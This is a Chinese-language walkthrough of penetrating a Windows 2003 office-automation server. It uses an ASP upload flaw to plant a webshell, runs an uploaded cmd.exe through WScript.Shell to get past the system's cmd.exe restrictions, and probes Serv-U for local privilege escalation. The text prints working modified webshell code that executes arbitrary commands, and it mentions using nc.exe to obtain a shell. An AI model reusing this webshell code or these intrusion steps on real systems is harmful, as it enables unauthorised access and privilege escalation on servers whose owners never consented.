服务器上运行的第三方软件历来就被攻击者们看作是入侵目标系统的捷径。现在,著名的腾讯QQ又被列入了这些捷径名单,好在QQ并不是服务器必备的软件之一,所以相信不会造成大范围的危机。文中遇到特殊情况虽然不多,但大家还是应该遵照“可能的就应该防范”的原则做出相应防御。
一、在Windows2003中得到的Webshell
此次渗透的目标是一台OA办公系统服务器。其操作系统新近升级到了Windows2003,但OA仍存在asp文件上传漏洞,所以webshell的取得并没有任何悬念。阻碍是在权限提升时遇到的。
登陆webshell后发现只能查看服务器的D盘,对C盘不能进行任何访问,webshell的提示是“没有权限”。这点早在意料之中,因为wenshell只有guests组权限,再加上win2003默认禁止了“Everyone"匿名用户及“Guest"组权限用户访问cmd.exe,还造成了不能通过webshell运行cmd.exe。
唯一值得庆幸的是利用Webshell 可以对D盘(存放有web虚拟目录)各个子目录进行读写。这里除了web虚拟目录还有一些数据备份文件和一个腾讯QQ安装目录Tencent。
二、破解Serv-u的终极防范
Windows2003的种种默认安全配置展示了它强大的一面,近一步提升现有权限似乎已不太可能,直到我试图从系统入手向这台服务器发出FTP链接请求并看到Serv-u的banner时才觉得又有了一线希望。
前面提到由于Windows2003对cmd.exe的权限限制,通过webshell方式不能运行cmd.exe,这样的论断在2004年6期的防线的《构建Windows2003堡垒主机》一文也曾提到,但实践表明这并不正确,通过webshell上传本地非2003系统中未受限制的cmd.exe文件到可执行目录,再通过wscript组件,同样能够通过webshell方式在Windows2003下获得相应权限的cmd.exe。结合nc.exe,甚至还能得到一个guest组权限的命令行下的shell。
为此,我对老兵的站长助手6.0做了一些改进,增加了如下代码,使其能够利用Wscript.shell组件运行本地上传的cmd.exe。
Function CmdShell() If Request("SP")<>"" Then Session("ShellPath") = Request("SP") ShellPath=Session("ShellPath") if ShellPath="" Then ShellPath = "cmd.exe" if Request("wscript")="yes" then checked=" checked" else checked="" end if If Request("cmd")<>"" Then DefCmd = Request("cmd") SI="<form method=''post''><input name=''cmd'' Style=''width:92%'' class=''cmd'' value=''"DefCmd&"''><input type=''submit'' value=''运行''>" SI=SI&"<textarea Style=''width:100%;height:500;'' class=''cmd''>" If Request.Form("cmd")<>"" Then if Request.Form("wscript")="yes" then Set CM=CreateObject(ObT(1,0)) Set DD=CM.exec(ShellPath&" /c "DefCmd) aaa=DD.stdout.readall SI=SI&aaa else%> <object runat=server id=ws scope=page classid="clsid:72C24DD5-D70A-438B-8A42- 98424B88AFB8"></object> <object runat=server id=ws scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9- 00C04FD58A0B"></object> <object runat=server id=fso scope=page classid="clsid:0D43FE01-F093-11CF-8940- 00A0C9054228"></object> <%szTempFile = server.mappath("cmd.txt") Call ws.Run (ShellPath&" /c " & DefCmd & " > " & szTempFile, 0, True) Set fs = CreateObject("Scripting.FileSystemObject") Set oFilelcx = fs.OpenTextFile (szTempFile, 1, False, 0) aaa=Server.HTMLEncode(oFilelcx.ReadAll) oFilelcx.Close Call fso.DeleteFile(szTempFile, True) SI=SI&aaa end if End If SI=SI&chr(13)&"</textarea>" SI=SI&"SHELL路径:<input name=''SP'' value=''"&ShellPath&"'' Style=''width:70%''> " SI=SI&"<input type=''checkbox'' name=''wscript'' value=''yes''"&checked&">WScript.Shell</form>" Response.Write SI End Function
利用时只需在shell路径中指定上传的cmd.exe路径,再选中选项Wscript就能运行一些所需权限较低的系统命令,如“net start”或者“netstat -an”,依次运行这两个命令后Webshell回显了众多服务,包括Serv-U FTP Server。
活动端口列表中又出现了43958端口,于是我自然想到了神通广大的Serv-u ftp Server本地权限提升漏洞。可真正用到的ftp本地权限提升工具在执行系统命令时,却出现了530错误提示。看来管理员或者其他人对Serv-u打上了布丁或者做了某些安全配置。
为了知道究竟是怎样的安全配置,上网查了查相关文章,其中有一篇《Serv-u ftp Server 本地权限提升漏洞的终极防范》很受欢迎,被多方转载,作者是世外高人xiaolu。从错误提示看很有可能做了该文所谓的终极防范,即对ServUDaemon.exe中默认的管理员或密码进行了修改。
当然这只是假设,只有将目标服务器上的ServUDaemon.exe下载下来看看具体配置才能确定,但是安装有Serv-u的C盘禁止访问,包括Programe files 目录,权限提升再次受阻。